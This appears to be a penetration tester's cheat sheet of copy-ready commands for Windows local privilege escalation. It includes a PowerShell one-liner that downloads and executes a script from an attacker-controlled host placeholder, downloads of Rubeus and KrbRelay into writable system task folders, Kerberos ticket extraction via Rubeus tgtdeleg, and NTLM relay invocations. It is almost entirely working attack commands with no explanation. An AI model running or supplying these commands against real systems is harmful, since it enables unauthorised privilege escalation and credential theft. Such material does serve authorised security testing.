# Windows Exploitation
#target/local #os/windows #cat/privesc

## Abuse SeBackupPrivilege
```
powershell -c "iex((new-object net.webclient).downloadstring('http://<lhost>:<lwport>/Invoke-BackupPrivilege.ps1'));Invoke-BackupPrivilege"
```

## rubeus
```
cd (md <working_dir> -f); iwr -uri http://<lhost>:<lwport>/Rubeus.exe -o Rubeus.exe;.\Rubeus.exe tgtdeleg /nowrap
```

## download krbrelay
```
cd (md <working_dir> -f); iwr -uri http://<lhost>:<lwport>/KrbRelay.exe -o KrbRelay.exe
```

## krbrelay (runascs)
```
Invoke-RunasCs x x -l 9 "C:\Windows\Tasks\KrbRelay.exe -ntlm -session <session_id|1> -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -port 10246"
```

## krbrelay
```
.\KrbRelay.exe -ntlm -session 1 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -port 10246
```

- working_dir
C:\Windows\Tasks
C:\Windows\System32\Tasks
